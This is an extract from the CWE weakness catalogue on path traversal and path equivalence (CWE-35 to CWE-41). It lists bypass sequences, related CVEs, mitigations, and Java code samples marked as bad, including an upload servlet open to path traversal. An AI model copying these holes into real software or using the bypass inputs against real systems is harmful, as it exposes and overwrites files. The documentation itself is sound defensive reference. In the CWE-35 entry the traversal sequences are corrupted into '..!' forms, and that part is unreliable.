**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'.../.../' (doubled dot dot slash)
Software Fault Patterns	SFP16	Path Traversal

**CWE-35: Path Traversal: '.../.../'**

**Weakness ID:** 35 (Weakness Variant) **Status:** Incomplete

**Description**

**Summary**

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../.../' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

**Extended Description**

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..!..!/' manipulation is useful for bypassing some path traversal protection schemes. If '..!/' is filtered in a sequential fashion, as done by some regular expression engines, then '..!..!/' can collapse into the '..!' unsafe value (CWE-182). Removing the first '..!' yields '..!..!/'; the second removal yields '..!/'. Depending on the algorithm, the software could be susceptible to CWE-34 but not CWE-35, or vice versa.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read files or directories

##### Modify files or directories

#### Observed Examples

Reference	Description
CVE-2005-0202	"...!..!..!/" bypasses regexp's that remove "..!" and "..!/"
CVE-2005-2169	chain: "...!..!..!/" bypasses protection mechanism using regexp's that remove "..!" resulting in collapse into an unsafe value "..!" (CWE-182) and resultant path traversal.

#### Potential Mitigations

##### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "..!" sequences are removed from the "...!..!..!/" string in a sequential fashion, two instances of "..!" would be removed from the original string, but the remaining characters would still form the "..!" string.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	B	23	Relative Path Traversal	699	40
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	1000	1384
CanFollow	B	182	<i>Collapse of Data into Unsafe Value</i>	1000	350

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'.../.../'
Software Fault Patterns	SFP16	Path Traversal

## CWE-36: Absolute Path Traversal

Weakness ID: 36 (*Weakness Base*)

Status: Draft

**Description****Summary**

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as `"/abs/path"` that can resolve to a location that is outside of that directory.

**Extended Description**

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Confidentiality****Availability****Execute unauthorized code or commands**

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

**Integrity****Modify files or directories**

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

**Confidentiality****Read files or directories**

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.



**Availability****DoS: crash / exit / restart**

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

**Demonstrative Examples****Example 1:**

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

**Java Example:***Bad Code*

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

**Example 2:**

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

**HTML Example:***Good Code*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

**Java Example:***Bad Code*

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\", pLine.lastIndexOf("\r"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                    }
                }
            }
        }
    }
}
```

```

        bw.flush();
    }
} //end of for loop
bw.close();
} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

```






As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

### Observed Examples

Reference	Description
CVE-1999-1263	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.
CVE-2000-0614	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.
CVE-2001-0038	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.
CVE-2001-0255	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename).
CVE-2001-0933	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.
CVE-2001-1269	ZIP file extractor allows full path
CVE-2002-0466	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.
CVE-2002-1345	Multiple FTP clients write arbitrary files via absolute paths in server responses
CVE-2002-1483	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or "..".
CVE-2002-1525	Remote attackers can read arbitrary files via an absolute pathname.
CVE-2002-1818	Path traversal using absolute pathname
CVE-2002-1913	Path traversal using absolute pathname
CVE-2003-0753	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.
CVE-2004-2488	FTP server read/access arbitrary files using "C:\" filenames
CVE-2005-2147	Path traversal using absolute pathname

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	<b>699</b> <b>1000</b>	30
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384
ParentOf		37	Path Traversal: '/absolute/pathname/here'	<b>699</b> <b>1000</b>	67
ParentOf		38	Path Traversal: 'absolute\pathname\here'	<b>699</b> <b>1000</b>	68
ParentOf		39	Path Traversal: 'C:dirname'	<b>699</b> <b>1000</b>	70

Nature	Type	ID	Name	V	Page
ParentOf	V	40	Path Traversal: '\\UNC\share\name\ (Windows UNC Share)	699	72
MemberOf	V	884	CWE Cross-section	1000	1319
				884	

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Absolute Path Traversal
Software Fault Patterns	SFP16	Path Traversal

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503.. 1st Edition. Addison Wesley. 2006.

## CWE-37: Path Traversal: '/absolute/pathname/here'

Weakness ID: 37 (Weakness Variant)

Status: Draft

### Description

#### Summary

A software system that accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Integrity

#### Read files or directories

#### Modify files or directories

### Observed Examples

Reference	Description
CVE-2000-0614	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.
CVE-2001-1269	ZIP file extractor allows full path
CVE-2002-1345	Multiple FTP clients write arbitrary files via absolute paths in server responses
CVE-2002-1818	Path traversal using absolute pathname
CVE-2002-1913	Path traversal using absolute pathname
CVE-2005-2147	Path traversal using absolute pathname

### Potential Mitigations

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	Page	Page
ChildOf	B	36	Absolute Path Traversal	699 1000	64
ChildOf	V	160	Improper Neutralization of Leading Special Elements	1000	316
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		/absolute/pathname/here
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes
CERT C++ Secure Coding	FIO05-CPP	Identify files using multiple file attributes
Software Fault Patterns	SFP16	Path Traversal

**CWE-38: Path Traversal: '`absolute\pathname\here`'**

Weakness ID: 38 (Weakness Variant)

Status: Draft

**Description****Summary**

A software system that accepts input in the form of a backslash absolute path ('\absolute\pathname\here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Integrity

#### Read files or directories

#### Modify files or directories

### Observed Examples

Reference	Description
CVE-1999-1263	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.
CVE-2002-1525	Remote attackers can read arbitrary files via an absolute pathname.
CVE-2003-0753	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.

### Potential Mitigations

#### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

#### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	36	Absolute Path Traversal	699 1000	64
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		\absolute\pathname\here ('backslash absolute path')
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes
CERT C++ Secure Coding	FIO05-CPP	Identify files using multiple file attributes
Software Fault Patterns	SFP16	Path Traversal

## CWE-39: Path Traversal: 'C:dirname'

Weakness ID: 39 (Weakness Variant)

Status: Draft

## Description

## Summary

An attacker can inject a drive letter or Windows volume letter ('C:dirname') into a software system to potentially redirect access to an unintended location or arbitrary file.

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- All

## Common Consequences

## Integrity

## Confidentiality

## Availability

## Execute unauthorized code or commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

## Integrity

## Modify files or directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

## Confidentiality

## Read files or directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

## Availability

## DoS: crash / exit / restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

## Observed Examples



Reference	Description
CVE-2001-0038	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.
CVE-2001-0255	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged system information by specifying arbitrary paths.
CVE-2001-0933	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.
CVE-2002-0466	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.
CVE-2002-1483	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." .
CVE-2004-2488	FTP server read/access arbitrary files using "C:\" filenames

## Potential Mitigations

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	36	Absolute Path Traversal	<b>699</b>	64
				<b>1000</b>	
ChildOf	<b>C</b>	743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384



**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'C:dirname' or C: (Windows volume or 'drive letter')
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes
CERT C++ Secure Coding	FIO05-CPP	Identify files using multiple file attributes
Software Fault Patterns	SFP16	Path Traversal

**CWE-40: Path Traversal: '\\UNC\share\name' (Windows UNC Share)****Weakness ID:** 40 (*Weakness Variant*)**Status:** Draft**Description****Summary**

An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename).

**Potential Mitigations**

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	☑	Page
ChildOf	<b>B</b>	36	Absolute Path Traversal	<b>699</b>	64
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	<b>1000</b>	
				<b>888</b>	1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		\\UNC\share\name\ (Windows UNC share)
Software Fault Patterns	SFP16	Path Traversal

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Filelike Objects", Page 664.. 1st Edition. Addison Wesley. 2006.

**CWE-41: Improper Resolution of Path Equivalence****Weakness ID:** 41 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

**Extended Description**

Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Access Control

##### Read files or directories

##### Modify files or directories

##### Bypass protection mechanism

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

#### Detection Methods

##### Automated Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

##### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

##### Dynamic Analysis with automated results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

##### Dynamic Analysis with manual results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

##### Manual Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Observed Examples**

Reference	Description
BID:3518	Source code disclosure
BID:6042	Input Validation error
CVE-1999-0012	Multiple web servers allow restriction bypass using 8.3 names instead of long names
CVE-1999-1083	Possibly (could be a cleansing error)
CVE-1999-1456	Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.
CVE-2000-0004	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.
CVE-2000-0191	application check access for restricted URL before canonicalization
CVE-2000-0293	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.
CVE-2000-1050	Access directory using multiple leading slash.
CVE-2000-1114	Source code disclosure using trailing dot
CVE-2000-1133	Bypass directory access restrictions using trailing dot in URL
CVE-2001-0054	Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects.
CVE-2001-0446	Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.
CVE-2001-0693	Source disclosure via trailing encoded space "%20"
CVE-2001-0778	Source disclosure via trailing encoded space "%20"
CVE-2001-0795	Source code disclosure using 8.3 file name.
CVE-2001-0892	Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
CVE-2001-0893	Read sensitive files with trailing "/"
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
CVE-2001-1152	Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a ./, or (4) URL-encoded characters.
CVE-2001-1248	Source disclosure via trailing encoded space "%20"
CVE-2001-1386	Bypass check for ".lnk" extension using ".lnk."
CVE-2001-1567	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.
CVE-2002-0112	Server allows remote attackers to view password protected files via ./ in the URL.
CVE-2002-0253	Overlaps infoleak
CVE-2002-0275	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.
CVE-2002-0304	Server allows remote attackers to read password-protected files via a ./ in the HTTP request.
CVE-2002-0433	List files in web server using "*.ext"
CVE-2002-1078	Directory listings in web server using multiple trailing slash

Reference	Description
CVE-2002-1238	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.
CVE-2002-1451	Trailing space ("+" in query string) leads to source code disclosure.
CVE-2002-1483	Read files with full pathname using multiple internal slash.
CVE-2002-1603	Source disclosure via trailing encoded space "%20"
CVE-2002-1986,	Source code disclosure using trailing dot
CVE-2004-0061	Bypass directory access restrictions using trailing dot in URL
CVE-2004-0235	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.
CVE-2004-0280	Source disclosure via trailing encoded space "%20"
CVE-2004-0334	Bypass Basic Authentication for files using trailing "/"
CVE-2004-0578	Server allows remote attackers to read arbitrary files via leading slash (/) characters in a URL request.
CVE-2004-0696	List directories using desired path and "**"
CVE-2004-0815	"./////etc" cleansed to ".//etc" then "/etc"
CVE-2004-0847	ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability."
CVE-2004-1032	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.
CVE-2004-1814	Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.
CVE-2004-1878	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).
CVE-2004-2213	Source code disclosure using trailing dot or trailing encoding space "%20"
CVE-2005-0471	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.
CVE-2005-0622	Source disclosure via trailing encoded space "%20"
CVE-2005-1365	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences.
CVE-2005-1366	CGI source disclosure using "dirname/../cgi-bin"
CVE-2005-1656	Source disclosure via trailing encoded space "%20"
CVE-2005-3293	Source code disclosure using trailing dot

## Potential Mitigations

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
